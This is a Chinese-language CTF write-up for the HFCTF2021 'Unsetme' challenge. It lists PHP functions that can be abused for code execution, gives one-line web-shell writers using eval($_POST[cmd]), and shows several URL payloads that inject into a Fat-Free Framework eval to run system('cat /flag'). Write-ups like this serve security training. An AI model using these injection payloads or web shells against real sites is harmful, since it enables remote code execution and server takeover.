[HFCTF2021 Quals]Unsetme

0 阅读1分钟

漏洞函数

PHP代码执行漏洞函数

eval('system("cat /flag");')

assert('system("cat /flag")') 

call_user_func($_REQUEST['a'], $_REQUEST['b'])
//call_user_func('system', 'cat /flag')

file_get_contents('/flag') //文件读取

create_function('$a', $_GET['code']) //PHP 7.2.0 起已弃用
//create_function('$a', system('cat /flag');)

$array = ['test' => $_GET['cmd']];
array_walk($array, $_GET['func']);
//array_walk(['cat /flag'], 'system');
 
$array = [$_GET['cmd']];
array_filter($array, $_GET['func']);
//array_filter(['cat /flag'], 'system');

$array = [$_GET['cmd']];
array_map($_GET['func'], $array);
//array_map(['cat /flag'], 'system');

$func = $_GET['func'];
$args = $_GET['args'];  //假设可以传入数组
call_user_func_array($func, $args);
//利用:?func=system&args[]=cat+/flag

$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);

fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');

分析

发现base.php第530行报错,使用了eval()函数1770704444753.png

<?php

// Kickstart the framework
$f3=require('lib/base.php'); //引入F3框架的基础文件

$f3->set('DEBUG',1); //开启调试模式,1==>记录错误和日志
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');

highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a); //删除F3对象属性

$f3->run(); //运行f3应用

搜索到这是F3,获取源代码,查看第530行

1770710303179.png

eval('unset('.$val.');');

构造payload

发现直接拼接了a输入的参数,构造参数,合法即可,%0a换行符使compile()无法将输入的整体作为hive的值

/?a=a%0a);system('cat /flag'
/?a=a%0a);system('cat%20/flag');%0a//
/?a=a%0a);$cmd='cat%20/flag';%0asystem($cmd%0a
/?a=a%0a);echo%20%60cat%20/flag%60;%0a//
/?a=a%0a);eval('system("cat%20/flag");');%0a//

1770711127367.png

借鉴:

[HFCTF2021 Quals]Unsetme | 北歌

CTF-Web习题:[HFCTF2021]Unsetme - 技术栈